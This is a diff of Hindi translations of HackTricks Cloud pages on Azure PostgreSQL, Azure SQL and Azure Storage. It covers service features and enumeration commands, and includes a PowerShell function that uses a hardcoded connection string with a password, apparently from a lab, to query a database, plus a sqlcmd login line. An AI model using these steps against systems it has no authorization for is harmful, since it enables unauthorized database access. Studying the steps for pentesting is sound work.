* **भूमिका-आधारित पहुँच**: Azure Active Directory के माध्यम से उपयोगकर्ता अनुमतियों और प्रशासनिक पहुँच को नियंत्रित करें। * **भूमिका-आधारित पहुँच**: Azure Active Directory के माध्यम से उपयोगकर्ता अनुमतियों और प्रशासनिक पहुँच को नियंत्रित करें।
* **सुरक्षा और नेटवर्किंग**: सुरक्षित डेटाबेस पहुँच के लिए सर्वर फ़ायरवॉल नियमों का प्रबंधन कर सकते हैं और आवश्यकतानुसार वर्चुअल नेटवर्क कॉन्फ़िगरेशन को अलग कर सकते हैं। * **सुरक्षा और नेटवर्किंग**: सुरक्षित डेटाबेस पहुँच के लिए सर्वर फ़ायरवॉल नियमों का प्रबंधन कर सकते हैं और आवश्यकतानुसार वर्चुअल नेटवर्क कॉन्फ़िगरेशन को अलग कर सकते हैं।
@@ -82,7 +82,7 @@ az postgres flexible-server server-logs list --resource-group <resource-group-na
{% tab title="Az PowerShell" %} {% tab title="Az PowerShell" %}
{% code overflow="wrap" %} {% code overflow="wrap" %}
```powershell ```bash
Get-Command -Module Az.PostgreSql Get-Command -Module Az.PostgreSql
# List flexible-servers in a resource group # List flexible-servers in a resource group
@@ -165,7 +165,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary> <summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें! * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** * **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PR सबमिट करें।** * **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PR सबमिट करें।**
@@ -6,7 +6,7 @@
Azure SQL एक प्रबंधित, सुरक्षित और बुद्धिमान उत्पादों का परिवार है जो **Azure क्लाउड में SQL Server डेटाबेस इंजन** का उपयोग करता है। इसका मतलब है कि आपको अपने सर्वरों के भौतिक प्रशासन की चिंता करने की आवश्यकता नहीं है, और आप अपने डेटा के प्रबंधन पर ध्यान केंद्रित कर सकते हैं। Azure SQL एक प्रबंधित, सुरक्षित और बुद्धिमान उत्पादों का परिवार है जो **Azure क्लाउड में SQL Server डेटाबेस इंजन** का उपयोग करता है। इसका मतलब है कि आपको अपने सर्वरों के भौतिक प्रशासन की चिंता करने की आवश्यकता नहीं है, और आप अपने डेटा के प्रबंधन पर ध्यान केंद्रित कर सकते हैं।
Azure SQL में तीन मुख्य पेशकशें शामिल है: Azure SQL तीन मुख्य पेशकशों में विभाजित है:
1. **Azure SQL Database**: यह एक **पूर्ण-प्रबंधित डेटाबेस सेवा** है, जो आपको Azure क्लाउड में व्यक्तिगत डेटाबेस होस्ट करने की अनुमति देती है। यह अंतर्निहित बुद्धिमत्ता प्रदान करती है जो आपके अद्वितीय डेटाबेस पैटर्न को सीखती है और अनुकूलित सिफारिशें और स्वचालित ट्यूनिंग प्रदान करती है। 1. **Azure SQL Database**: यह एक **पूर्ण-प्रबंधित डेटाबेस सेवा** है, जो आपको Azure क्लाउड में व्यक्तिगत डेटाबेस होस्ट करने की अनुमति देती है। यह अंतर्निहित बुद्धिमत्ता प्रदान करती है जो आपके अद्वितीय डेटाबेस पैटर्न को सीखती है और अनुकूलित सिफारिशें और स्वचालित ट्यूनिंग प्रदान करती है।
2. **Azure SQL Managed Instance**: यह बड़े पैमाने पर, पूरे SQL Server इंस्टेंस-स्कोप्ड डिप्लॉयमेंट के लिए है। यह नवीनतम SQL Server ऑन-प्रिमाइसेस (Enterprise Edition) डेटाबेस इंजन के साथ लगभग 100% संगतता प्रदान करता है, जो सामान्य सुरक्षा चिंताओं को संबोधित करने के लिए एक स्वदेशी वर्चुअल नेटवर्क (VNet) कार्यान्वयन प्रदान करता है, और ऑन-प्रिमाइसेस SQL Server ग्राहकों के लिए एक व्यावसायिक मॉडल अनुकूल है। 2. **Azure SQL Managed Instance**: यह बड़े पैमाने पर, पूरे SQL Server इंस्टेंस-स्कोप्ड डिप्लॉयमेंट के लिए है। यह नवीनतम SQL Server ऑन-प्रिमाइसेस (Enterprise Edition) डेटाबेस इंजन के साथ लगभग 100% संगतता प्रदान करता है, जो सामान्य सुरक्षा चिंताओं को संबोधित करने के लिए एक स्वदेशी वर्चुअल नेटवर्क (VNet) कार्यान्वयन प्रदान करता है, और ऑन-प्रिमाइसेस SQL Server ग्राहकों के लिए एक व्यावसायिक मॉडल अनुकूल है।
@@ -18,47 +18,47 @@ Azure SQL में तीन मुख्य पेशकशें शामि
#### Key Features #### Key Features
- **हमेशा अद्यतित**: नवीनतम स्थिर संस्करण पर चलता है और नए फीचर्स और पैच स्वचालित रूप से प्राप्त करता है। - **Always Up-to-Date**: नवीनतम स्थिर संस्करण पर चलता है और नए फीचर्स और पैच स्वचालित रूप से प्राप्त करता है।
- **PaaS क्षमताएँ**: अंतर्निहित उच्च उपलब्धता, बैकअप, और अपडेट। - **PaaS Capabilities**: अंतर्निहित उच्च उपलब्धता, बैकअप, और अपडेट।
- **डेटा लचीलापन**: रिलेशनल और गैर-रिलेशनल डेटा का समर्थन करता है (जैसे, ग्राफ, JSON, स्पैटियल, और XML)। - **Data Flexibility**: रिलेशनल और गैर-रिलेशनल डेटा (जैसे, ग्राफ, JSON, स्पैटियल, और XML) का समर्थन करता है
#### Purchasing Models / Service Tiers #### Purchasing Models / Service Tiers
- **vCore-आधारित**: स्वतंत्र रूप से कंप्यूट, मेमोरी, और स्टोरेज चुनें। सामान्य उद्देश्य, व्यवसायिक महत्वपूर्ण (OLTP ऐप्स के लिए उच्च लचीलापन और प्रदर्शन के साथ), और 128 TB स्टोरेज तक स्केल करता है। - **vCore-based**: स्वतंत्र रूप से कंप्यूट, मेमोरी, और स्टोरेज चुनें। सामान्य उद्देश्य, व्यवसायिक महत्वपूर्ण (OLTP ऐप्स के लिए उच्च लचीलापन और प्रदर्शन के साथ), और 128 TB स्टोरेज तक स्केल करता है।
- **DTU-आधारित**: कंप्यूट, मेमोरी, और I/O को निश्चित स्तरों में बंडल करता है। सामान्य कार्यों के लिए संतुलित संसाधन। - **DTU-based**: कंप्यूट, मेमोरी, और I/O को निश्चित स्तरों में बंडल करता है। सामान्य कार्यों के लिए संतुलित संसाधन।
- मानक: सामान्य कार्यों के लिए संतुलित संसाधन। - Standard: सामान्य कार्यों के लिए संतुलित संसाधन।
- प्रीमियम: मांग वाले कार्यभार के लिए उच्च प्रदर्शन। - Premium: मांग वाले कार्यभार के लिए उच्च प्रदर्शन।
#### Deployment Models #### Deployment Models
Azure SQL Database विभिन्न आवश्यकताओं के अनुसार लचीले तैनाती विकल्पों का समर्थन करता है: Azure SQL Database विभिन्न आवश्यकताओं के अनुसार लचीले तैनाती विकल्पों का समर्थन करता है:
- **एकल डेटाबेस**: - **Single Database**:
- अपने समर्पित संसाधनों के साथ पूरी तरह से अलग डेटाबेस। - अपने समर्पित संसाधनों के साथ पूरी तरह से अलग डेटाबेस।
- माइक्रोसर्विसेज या अनुप्रयोगों के लिए महान जो एकल डेटा स्रोत की आवश्यकता होती है - माइक्रोसर्विसेज या एकल डेटा स्रोत की आवश्यकता वाले अनुप्रयोगों के लिए उत्कृष्ट
- **इलास्टिक पूल**: - **Elastic Pool**:
- एक पूल के भीतर संसाधनों को साझा करने की अनुमति देता है। - एक पूल के भीतर संसाधनों को साझा करने की अनुमति देता है।
- कई डेटाबेस के बीच उतार-चढ़ाव वाले उपयोग पैटर्न वाले अनुप्रयोगों के लिए लागत-कुशल। - कई डेटाबेस के बीच उतार-चढ़ाव वाले उपयोग पैटर्न वाले अनुप्रयोगों के लिए लागत-कुशल।
#### Scalable performance and pools #### Scalable performance and pools
- **एकल डेटाबेस**: प्रत्येक डेटाबेस अलग है और इसके अपने समर्पित कंप्यूट, मेमोरी, और स्टोरेज संसाधन हैं। संसाधनों को बिना डाउनटाइम (1128 vCores, 32 GB4 TB स्टोरेज, और 128 TB तक) गतिशील रूप से स्केल किया जा सकता है। - **Single Databases**: प्रत्येक डेटाबेस अलग है और इसके अपने समर्पित कंप्यूट, मेमोरी, और स्टोरेज संसाधन हैं। संसाधनों को बिना डाउनटाइम (1128 vCores, 32 GB4 TB स्टोरेज, और 128 TB तक) के गतिशील रूप से स्केल किया जा सकता है।
- **इलास्टिक पूल**: अधिकतम दक्षता और लागत बचाने के लिए एक पूल में कई डेटाबेस के बीच संसाधनों को साझा करें। पूरे पूल के लिए संसाधनों को भी गतिशील रूप से स्केल किया जा सकता है। - **Elastic Pools**: अधिकतम दक्षता और लागत बचाने के लिए एक पूल में कई डेटाबेस के बीच संसाधनों को साझा करें। पूरे पूल के लिए संसाधनों को भी गतिशील रूप से स्केल किया जा सकता है।
- **सेवा स्तर लचीलापन**: सामान्य उद्देश्य स्तर में एकल डेटाबेस के साथ छोटे स्तर पर शुरू करें। आवश्यकताओं के बढ़ने पर व्यवसायिक महत्वपूर्ण या हाइपरस्केल स्तरों में अपग्रेड करें। - **Service Tier Flexibility**: सामान्य उद्देश्य स्तर में एकल डेटाबेस के साथ छोटे स्तर से शुरू करें। आवश्यकताओं के बढ़ने पर व्यवसायिक महत्वपूर्ण या हाइपरस्केल स्तरों में अपग्रेड करें।
- **स्केलिंग विकल्प**: गतिशील स्केलिंग या ऑटोस्केलिंग विकल्प। - **Scaling Options**: गतिशील स्केलिंग या ऑटोस्केलिंग विकल्प।
#### Built-In Monitoring & Optimization #### Built-In Monitoring & Optimization
- **क्वेरी स्टोर**: प्रदर्शन समस्याओं को ट्रैक करता है, शीर्ष संसाधन उपभोक्ताओं की पहचान करता है, और कार्यान्वयन योग्य सिफारिशें प्रदान करता है। - **Query Store**: प्रदर्शन मुद्दों को ट्रैक करता है, शीर्ष संसाधन उपभोक्ताओं की पहचान करता है, और कार्यान्वयन योग्य सिफारिशें प्रदान करता है।
- **स्वचालित ट्यूनिंग**: स्वचालित अनुक्रमणिका और क्वेरी योजना सुधार जैसी सुविधाओं के साथ प्रदर्शन को सक्रिय रूप से अनुकूलित करता है। - **Automatic Tuning**: स्वचालित अनुक्रमणिका और क्वेरी योजना सुधार जैसे फीचर्स के साथ प्रदर्शन को सक्रिय रूप से अनुकूलित करता है।
- **टेलीमेट्री एकीकरण**: अनुकूलित अंतर्दृष्टि के लिए Azure Monitor, Event Hubs, या Azure Storage के माध्यम से निगरानी का समर्थन करता है। - **Telemetry Integration**: अनुकूलित अंतर्दृष्टि के लिए Azure Monitor, Event Hubs, या Azure Storage के माध्यम से निगरानी का समर्थन करता है।
#### Disaster Recovery & Availability #### Disaster Recovery & Availavility
- **स्वचालित बैकअप**: SQL Database स्वचालित रूप से डेटाबेस के पूर्ण, विभेदक, और लेनदेन लॉग बैकअप करता है। - **Automatic backups**: SQL Database स्वचालित रूप से डेटाबेस के पूर्ण, विभेदक, और लेनदेन लॉग बैकअप करता है।
- **पॉइंट-इन-टाइम पुनर्स्थापना**: बैकअप संरक्षण अवधि के भीतर किसी भी पिछले राज्य में डेटाबेस को पुनर्प्राप्त करें। - **Point-in-Time Restore**: बैकअप संरक्षण अवधि के भीतर किसी भी पिछले राज्य में डेटाबेस को पुनर्प्राप्त करें।
- **जियो-रेडंडेंसी** - **Geo-Redundancy**
- **फेलओवर समूह**: क्षेत्रों के बीच स्वचालित फेलओवर के लिए डेटाबेस को समूहित करके आपदा पुनर्प्राप्ति को सरल बनाता है। - **Failover Groups**: क्षेत्रों के बीच स्वचालित फेलओवर के लिए डेटाबेस को समूहित करके आपदा वसूली को सरल बनाता है।
### Azure SQL Managed Instance ### Azure SQL Managed Instance
@@ -66,14 +66,14 @@ Azure SQL Database विभिन्न आवश्यकताओं के
#### Service Tiers #### Service Tiers
- **सामान्य उद्देश्य**: मानक I/O और विलंबता आवश्यकताओं वाले अनुप्रयोगों के लिए लागत-कुशल विकल्प। - **General Purpose**: मानक I/O और लेटेंसी आवश्यकताओं वाले अनुप्रयोगों के लिए लागत-कुशल विकल्प।
- **व्यवसायिक महत्वपूर्ण**: महत्वपूर्ण कार्यभार के लिए कम I/O विलंबता के साथ उच्च-प्रदर्शन विकल्प। - **Business Critical**: महत्वपूर्ण कार्यभार के लिए कम I/O लेटेंसी के साथ उच्च-प्रदर्शन विकल्प।
#### Advanced Security Features #### Advanced Security Features
* **धमकी सुरक्षा**: संदिग्ध गतिविधियों और SQL इंजेक्शन हमलों के लिए उन्नत धमकी सुरक्षा अलर्ट। अनुपालन के लिए डेटाबेस घटनाओं को ट्रैक और लॉग करने के लिए ऑडिटिंग। * **Threat Protection**: संदिग्ध गतिविधियों और SQL इंजेक्शन हमलों के लिए उन्नत खतरा सुरक्षा अलर्ट। अनुपालन के लिए डेटाबेस घटनाओं को ट्रैक और लॉग करने के लिए ऑडिटिंग।
* **एक्सेस नियंत्रण**: केंद्रीकृत पहचान प्रबंधन के लिए Microsoft Entra प्रमाणीकरण। ग्रैन्युलर एक्सेस नियंत्रण के लिए रो-लेवल सुरक्षा और डायनामिक डेटा मास्किंग। * **Access Control**: केंद्रीकृत पहचान प्रबंधन के लिए Microsoft Entra प्रमाणीकरण। ग्रैन्युलर एक्सेस नियंत्रण के लिए रो-लेवल सुरक्षा और डायनामिक डेटा मास्किंग।
* **बैकअप**: पॉइंट-इन-टाइम पुनर्स्थापना क्षमता के साथ स्वचालित और मैनुअल बैकअप। * **Backups**: बिंदु-में-समय पुनर्स्थापना क्षमता के साथ स्वचालित और मैनुअल बैकअप।
### Azure SQL Virtual Machines ### Azure SQL Virtual Machines
@@ -81,16 +81,16 @@ Azure SQL Database विभिन्न आवश्यकताओं के
#### Key Features #### Key Features
**स्वचालित बैकअप**: SQL डेटाबेस के लिए बैकअप शेड्यूल करें। **Automated Backup**: SQL डेटाबेस के लिए बैकअप शेड्यूल करें।
**स्वचालित पैचिंग**: रखरखाव विंडो के दौरान Windows और SQL Server अपडेट की स्थापना को स्वचालित करता है। **Automatic Patching**: रखरखाव विंडो के दौरान Windows और SQL Server अपडेट के इंस्टॉलेशन को स्वचालित करता है।
**Azure Key Vault एकीकरण**: SQL Server VMs के लिए Key Vault को स्वचालित रूप से कॉन्फ़िगर करता है। **Azure Key Vault Integration**: SQL Server VMs के लिए Key Vault को स्वचालित रूप से कॉन्फ़िगर करता है।
**Cloud के लिए डिफेंडर एकीकरण**: पोर्टल में SQL के लिए डिफेंडर सिफारिशें देखें। **Defender for Cloud Integration**: पोर्टल में SQL के लिए Defender की सिफारिशें देखें।
**संस्करण/संस्करण लचीलापन**: VM को फिर से तैनात किए बिना SQL Server संस्करण या संस्करण मेटाडेटा बदलें। **Version/Edition Flexibility**: VM को फिर से तैनात किए बिना SQL Server संस्करण या संपादन मेटाडेटा बदलें।
#### Security Features #### Security Features
**Microsoft Defender for SQL**: सुरक्षा अंतर्दृष्टि और अलर्ट। **Microsoft Defender for SQL**: सुरक्षा अंतर्दृष्टि और अलर्ट।
**Azure Key Vault एकीकरण**: क्रेडेंशियल और एन्क्रिप्शन कुंजियों का सुरक्षित भंडारण। **Azure Key Vault Integration**: क्रेडेंशियल और एन्क्रिप्शन कुंजियों का सुरक्षित भंडारण।
**Microsoft Entra (Azure AD)**: प्रमाणीकरण और एक्सेस नियंत्रण। **Microsoft Entra (Azure AD)**: प्रमाणीकरण और एक्सेस नियंत्रण।
## Enumeration ## Enumeration
@@ -166,7 +166,7 @@ az sql vm show --resource-group <res-grp> --name <name>
{{#endtab}} {{#endtab}}
{{#tab name="Az PowerShell"}} {{#tab name="Az PowerShell"}}
```powershell ```bash
# List Servers # List Servers
Get-AzSqlServer -ResourceGroupName "<resource-group-name>" Get-AzSqlServer -ResourceGroupName "<resource-group-name>"
@@ -209,7 +209,7 @@ Get-AzSqlVM
### कनेक्ट करें और SQL क्वेरी चलाएँ ### कनेक्ट करें और SQL क्वेरी चलाएँ
आप एक कनेक्शन स्ट्रिंग (जिसमें क्रेडेंशियल्स शामिल हैं) उदाहरण [एक Az WebApp की गणना करना](az-app-services.md) से पा सकते हैं: आप एक कनेक्शन स्ट्रिंग (जिसमें क्रेडेंशियल्स शामिल हैं) उदाहरण [एक Az WebApp की गणना करना](az-app-services.md) से पा सकते हैं:
```powershell ```bash
function invoke-sql{ function invoke-sql{
param($query) param($query)
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;" $Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
@@ -227,8 +227,8 @@ $Connection.Close()
invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;' invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
``` ```
आप sqlcmd का उपयोग करके डेटाबेस तक भी पहुँच सकते हैं। यह जानना महत्वपूर्ण है कि क्या सर्वर सार्वजनिक कनेक्शन की अनुमति देता है `az sql server show --name <server-name> --resource-group <resource-group>` और यह भी कि क्या फ़ायरवॉल नियम हमारे IP को पहुँचने की अनुमति देता है: आप sqlcmd का उपयोग करके डेटाबेस तक भी पहुँच सकते हैं। यह जानना महत्वपूर्ण है कि क्या सर्वर सार्वजनिक कनेक्शनों की अनुमति देता है `az sql server show --name <server-name> --resource-group <resource-group>` और यह भी कि क्या फ़ायरवॉल नियम हमारे IP को पहुँचने की अनुमति देता है:
```powershell ```bash
sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database> sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
``` ```
## संदर्भ ## संदर्भ
@@ -4,14 +4,14 @@
## Basic Information ## Basic Information
Azure Storage Accounts Microsoft Azure में मौलिक सेवाएँ हैं जो विभिन्न डेटा प्रकारों के लिए स्केलेबल, सुरक्षित और अत्यधिक उपलब्ध क्लाउड **स्टोरेज प्रदान करती हैं**, जिसमें ब्लॉब (बाइनरी बड़े ऑब्जेक्ट), फ़ाइलें, कतारें और तालिकाएँ शामिल हैं। ये एकल नामस्थान के तहत इन विभिन्न स्टोरेज सेवाओं को एक साथ समूहित करने के लिए कंटेनर के रूप में कार्य करते हैं ताकि प्रबंधन आसान हो सके। Azure Storage Accounts Microsoft Azure में मौलिक सेवाएँ हैं जो विभिन्न डेटा प्रकारों के लिए स्केलेबल, सुरक्षित और अत्यधिक उपलब्ध क्लाउड **स्टोरेज प्रदान करती हैं**, जिसमें ब्लॉब (बाइनरी बड़े ऑब्जेक्ट), फ़ाइलें, कतारें और तालिकाएँ शामिल हैं। ये विभिन्न स्टोरेज सेवाओं को एकल नामस्थान के तहत एक साथ समूहित करने के लिए कंटेनर के रूप में कार्य करते हैं ताकि प्रबंधन आसान हो सके।
**मुख्य कॉन्फ़िगरेशन विकल्प**: **मुख्य कॉन्फ़िगरेशन विकल्प**:
- प्रत्येक स्टोरेज खाता का **सभी Azure में एक अद्वितीय नाम होना चाहिए** - प्रत्येक स्टोरेज खाता का **सभी Azure में एक अद्वितीय नाम होना चाहिए**
- प्रत्येक स्टोरेज खाता एक **क्षेत्र** या Azure विस्तारित क्षेत्र में तैनात किया जाता है। - प्रत्येक स्टोरेज खाता एक **क्षेत्र** या Azure विस्तारित क्षेत्र में तैनात किया जाता है।
- बेहतर प्रदर्शन के लिए स्टोरेज खाते का **प्रीमियम** संस्करण चुनना संभव है। - बेहतर प्रदर्शन के लिए स्टोरेज खाते का **प्रीमियम** संस्करण चुनना संभव है।
- रैक, ड्राइव और डेटा ेंद्**विफलताओं** के खिलाफ सुरक्षा के लिए **4 प्रकार की पुनरावृत्ति** में से चुनना संभव है। - रैक, ड्राइव और डेटा ें**विफलताओं** के खिलाफ सुरक्षा के लिए **4 प्रकार की पुनरावृत्ति** में से चुनना संभव है।
**सुरक्षा कॉन्फ़िगरेशन विकल्प**: **सुरक्षा कॉन्फ़िगरेशन विकल्प**:
@@ -21,7 +21,7 @@ Azure Storage Accounts Microsoft Azure में मौलिक सेवाए
- **न्यूनतम TLS संस्करण** - **न्यूनतम TLS संस्करण**
- **कॉपी संचालन के लिए अनुमत दायरा**: किसी भी स्टोरेज खाते से, उसी Entra टेनेन्ट से किसी भी स्टोरेज खाते से या समान वर्चुअल नेटवर्क में निजी एंडपॉइंट वाले स्टोरेज खाते से अनुमति दें। - **कॉपी संचालन के लिए अनुमत दायरा**: किसी भी स्टोरेज खाते से, उसी Entra टेनेन्ट से किसी भी स्टोरेज खाते से या समान वर्चुअल नेटवर्क में निजी एंडपॉइंट वाले स्टोरेज खाते से अनुमति दें।
**ब्लॉब स्टोरेज विकल्प**: **Blob Storage विकल्प**:
- **क्रॉस-टेनेन्ट पुनरावृत्ति की अनुमति दें** - **क्रॉस-टेनेन्ट पुनरावृत्ति की अनुमति दें**
- **एक्सेस स्तर**: हॉट (बार-बार एक्सेस किया गया डेटा), कूल और कोल्ड (कभी-कभी एक्सेस किया गया डेटा)। - **एक्सेस स्तर**: हॉट (बार-बार एक्सेस किया गया डेटा), कूल और कोल्ड (कभी-कभी एक्सेस किया गया डेटा)।
@@ -36,14 +36,14 @@ Azure Storage Accounts Microsoft Azure में मौलिक सेवाए
**डेटा सुरक्षा विकल्प**: **डेटा सुरक्षा विकल्प**:
- **कंटेनरों के लिए समय-निर्धारित पुनर्स्थापना**: कंटेनरों को पहले की स्थिति में पुनर्स्थापित करने की अनुमति देता है। - **कंटेनरों के लिए समय-निर्धारित पुनर्स्थापना**: यह कंटेनरों को पहले की स्थिति में पुनर्स्थापित करने की अनुमति देता है।
- इसके लिए संस्करणन, परिवर्तन फ़ीड, और ब्लॉब सॉफ़्ट डिलीट सक्षम होना आवश्यक है। - इसके लिए संस्करणन, परिवर्तन फ़ीड, और ब्लॉब सॉफ़्ट डिलीट सक्षम होना आवश्यक है।
- **ब्लॉब के लिए सॉफ़्ट डिलीट सक्षम करें**: यह हटाए गए ब्लॉब (यहां तक कि ओवरराइट किए गए) के लिए दिनों में एक संरक्षण अवधि सक्षम करता है। - **ब्लॉब के लिए सॉफ़्ट डिलीट सक्षम करें**: यह हटाए गए ब्लॉब (यहां तक कि ओवरराइट किए गए) के लिए दिनों में एक संरक्षण अवधि सक्षम करता है।
- **कंटेनरों के लिए सॉफ़्ट डिलीट सक्षम करें**: यह हटाए गए कंटेनरों के लिए दिनों में एक संरक्षण अवधि सक्षम करता है। - **कंटेनरों के लिए सॉफ़्ट डिलीट सक्षम करें**: यह हटाए गए कंटेनरों के लिए दिनों में एक संरक्षण अवधि सक्षम करता है।
- **फ़ाइल शेयरों के लिए सॉफ़्ट डिलीट सक्षम करें**: यह हटाए गए फ़ाइल शेयरों के लिए दिनों में एक संरक्षण अवधि सक्षम करता है। - **फ़ाइल शेयरों के लिए सॉफ़्ट डिलीट सक्षम करें**: यह हटाए गए फ़ाइल शेयरों के लिए दिनों में एक संरक्षण अवधि सक्षम करता है।
- **ब्लॉब के लिए संस्करणन सक्षम करें**: अपने ब्लॉब के पिछले संस्करणों को बनाए रखें। - **ब्लॉब के लिए संस्करणन सक्षम करें**: अपने ब्लॉब के पिछले संस्करणों को बनाए रखें।
- **ब्लॉब परिवर्तन फ़ीड सक्षम करें**: ब्लॉब में निर्माण, संशोधन, और हटाने के परिवर्तनों के लॉग रखें। - **ब्लॉब परिवर्तन फ़ीड सक्षम करें**: ब्लॉब में निर्माण, संशोधन, और हटाने के परिवर्तनों के लॉग रखें।
- **संस्करण-स्तरीय अपरिवर्तनीयता समर्थन सक्षम करें**: आपको खाता स्तर पर समय-आधारित संरक्षण नीति सेट करने की अनुमति देता है जो सभी ब्लॉब संस्करणों पर लागू होगी। - **संस्करण-स्तरीय अपरिवर्तनीयता समर्थन सक्षम करें**: यह आपको खाता स्तर पर समय-आधारित संरक्षण नीति सेट करने की अनुमति देता है जो सभी ब्लॉब संस्करणों पर लागू होगी।
- संस्करण-स्तरीय अपरिवर्तनीयता समर्थन और कंटेनरों के लिए समय-निर्धारित पुनर्स्थापना को एक साथ सक्षम नहीं किया जा सकता है। - संस्करण-स्तरीय अपरिवर्तनीयता समर्थन और कंटेनरों के लिए समय-निर्धारित पुनर्स्थापना को एक साथ सक्षम नहीं किया जा सकता है।
**एन्क्रिप्शन कॉन्फ़िगरेशन विकल्प**: **एन्क्रिप्शन कॉन्फ़िगरेशन विकल्प**:
@@ -53,11 +53,11 @@ Azure Storage Accounts Microsoft Azure में मौलिक सेवाए
### Storage endpoints ### Storage endpoints
<table data-header-hidden><thead><tr><th width="197">Storage Service</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://&#x3C;storage-account>.blob.core.windows.net</code><br><br><code>https://&#x3C;stg-acc>.blob.core.windows.net/&#x3C;container-name>?restype=container&#x26;comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://&#x3C;storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://&#x3C;storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://&#x3C;storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://&#x3C;storage-account>.table.core.windows.net</code></td></tr></tbody></table> <table data-header-hidden><thead><tr><th width="197">Storage Service</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
### Public Exposure ### Public Exposure
यदि "Allow Blob public access" **सक्षम** है (डिफ़ॉल्ट रूप से अक्षम), जब एक कंटेनर बनाया जाता है तो यह संभव है: यदि "Allow Blob public access" **सक्षम** है (डिफ़ॉल्ट रूप से अक्षम), तो कंटेनर बनाते समय यह संभव है:
- **ब्लॉब पढ़ने के लिए सार्वजनिक पहुंच दें** (आपको नाम जानना होगा)। - **ब्लॉब पढ़ने के लिए सार्वजनिक पहुंच दें** (आपको नाम जानना होगा)।
- **कंटेनर ब्लॉब की सूची बनाएं** और **उन्हें पढ़ें** - **कंटेनर ब्लॉब की सूची बनाएं** और **उन्हें पढ़ें**
@@ -77,19 +77,19 @@ Azure Storage Accounts Microsoft Azure में मौलिक सेवाए
### Access Keys ### Access Keys
स्टोरेज खातों में एक्सेस कुंजी होती हैं जिनका उपयोग इसके लिए किया जा सकता है। यह **स्टोरेज खाते तक पूर्ण पहुंच प्रदान करता है।** स्टोरेज खातों में एक्सेस कुंजी होती हैं जिनका उपयोग इसे एक्सेस करने के लिए किया जा सकता है। यह **स्टोरेज खाते तक पूर्ण पहुंच प्रदान करता है।**
<figure><img src="../../../images/image (5).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (5).png" alt=""><figcaption></figcaption></figure>
### **Shared Keys & Lite Shared Keys** ### **Shared Keys & Lite Shared Keys**
यह संभव है कि [**Shared Keys उत्पन्न करें**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) जो एक्सेस कुंजियों के साथ हस्ताक्षरित होते हैं ताकि एक हस्ताक्षरित URL के माध्यम से कुछ संसाधनों तक पहुंच अधिकृत क जा सके। यह संभव है कि [**Shared Keys उत्पन्न करें**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) जो एक्सेस कुंजियों के साथ हस्ताक्षरित होते हैं ताकि एक हस्ताक्षरित URL के माध्यम से कुछ संसाधनों तक पहुंच को अधिकृत किया जा सके।
> [!NOTE] > [!NOTE]
> ध्यान दें कि `CanonicalizedResource` भाग स्टोरेज सेवाओं के संसाधन (URI) का प्रतिनिधित्व करता है। और यदि URL का कोई भाग एन्कोड किया गया है, तो इसे `CanonicalizedResource` के अंदर भी एन्कोड किया जाना चाहिए। > ध्यान दें कि `CanonicalizedResource` भाग स्टोरेज सेवाओं के संसाधन (URI) का प्रतिनिधित्व करता है। और यदि URL में कोई भाग एन्कोड किया गया है, तो इसे `CanonicalizedResource` के अंदर भी एन्कोड किया जाना चाहिए।
> [!NOTE] > [!NOTE]
